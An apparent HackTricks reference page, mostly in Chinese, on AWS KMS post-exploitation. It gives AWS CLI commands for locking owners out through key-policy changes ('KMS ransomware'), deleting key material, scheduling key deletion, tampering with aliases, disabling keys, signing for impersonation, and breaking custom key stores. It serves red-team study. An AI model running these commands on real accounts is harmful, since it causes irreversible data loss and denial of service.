AWS - KMS Post Exploitation

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

KMS

更多信息请查看:

AWS - KMS Enum

Encrypt/Decrypt information

fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:

  • fileb://: 以二进制模式读取文件,通常用于非文本文件。
  • file://: 以文本模式读取文件,通常用于纯文本文件、脚本或没有特殊编码要求的 JSON。

Tip

注意:如果你想解密文件中的某些数据,该文件必须包含二进制数据,而不是 base64 编码的数据。 (fileb://)

  • 使用 对称 密钥
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • 使用 非对称 密钥:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

拥有对 KMS 的特权访问的攻击者可以修改密钥的 KMS policy,并授予其账户对这些密钥的访问权限,从而移除合法账户的访问权限。

于是,合法账户的用户将无法访问任何使用这些密钥加密的服务的信息,从而对该账户造成一种简单但有效的 ransomware。

Warning

Note that AWS managed keys aren’t affected by this attack, only Customer managed keys.

Also note the need to use the param --bypass-policy-lockout-safety-check(web console 中没有该选项,导致此攻击只能通过 CLI 执行)。

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Caution

请注意,如果您更改该策略并只将访问权限授予外部账户,然后从该外部账户尝试设置新策略以 将访问权限还给原始账户,您将无法这样做,因为 Put Polocy 操作无法从跨账户执行

Generic KMS Ransomware

还有另一种执行全局 KMS Ransomware 的方法,包括以下步骤:

  • 创建一个新的 由攻击者导入密钥材料的密钥
  • 使用新密钥重新加密 受害者先前版本加密的旧数据
  • 删除 KMS 密钥
  • 现在只有拥有原始密钥材料的攻击者能够解密这些加密数据

Delete Keys via kms:DeleteImportedKeyMaterial

拥有 kms:DeleteImportedKeyMaterial 权限的主体可以从具有 Origin=EXTERNAL 的 CMKs(已导入其密钥材料的 CMKs)中删除导入的密钥材料,使其无法解密数据。此操作具有破坏性且不可逆,除非重新导入兼容材料,否则攻击者可以通过使加密信息永久无法访问来有效地造成类似 ransomware 的数据丢失。

aws kms delete-imported-key-material --key-id <Key_ID>

Destroy keys

通过 Destroying keys 可以执行 DoS。

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Caution

请注意,AWS 现在阻止从跨账户执行之前的这些操作:

更改或删除别名

此类攻击会删除或重定向 AWS KMS 别名,破坏密钥解析,导致依赖这些别名的任何服务立即失败,从而造成拒绝服务。 如果具有例如 kms:DeleteAliaskms:UpdateAlias 之类的权限,攻击者可以删除或重新指向别名,干扰加密操作(例如 encrypt、describe)。 任何引用别名而不是 key ID 的服务都可能会失败,直到别名被恢复或正确重新映射为止。

# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>

取消密钥删除

具有类似 kms:CancelKeyDeletionkms:EnableKey 的权限时,攻击者可以取消对 AWS KMS customer master key 的预定删除并随后重新启用该密钥。这样可以恢复密钥(最初处于 Disabled 状态),并恢复其解密先前受保护数据的能力,从而实现 exfiltration。

# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>

禁用密钥

拥有 kms:DisableKey 权限的行为者可以禁用 AWS KMS 的客户主密钥,阻止其用于加密或解密。这会中断任何依赖该 CMK 的服务的访问,并可能导致立即的中断或 denial-of-service,直到该密钥被重新启用。

aws kms disable-key \
--key-id <key_id>

Derive Shared Secret

使用 kms:DeriveSharedSecret 权限,主体可以使用 KMS-held 私钥以及用户提供的公钥来计算 ECDH 共享密钥。

aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>

通过 kms:Sign 冒充身份

拥有 kms:Sign 权限时,攻击者可以使用存储在 KMS 中的 CMK 以密码学方式对数据进行签名而不暴露私钥,生成的有效签名可用于冒充身份或授权恶意操作。

aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW

DoS with Custom Key Stores

具有 kms:DeleteCustomKeyStorekms:DisconnectCustomKeyStorekms:UpdateCustomKeyStore 等权限的行为者可以修改、断开或删除 AWS KMS Custom Key Store (CKS),使其主密钥无法使用。这会破坏任何依赖这些密钥的服务的加密、解密和签名操作,并可能导致立即的 denial-of-service。因此限制并监控这些权限至关重要。

aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks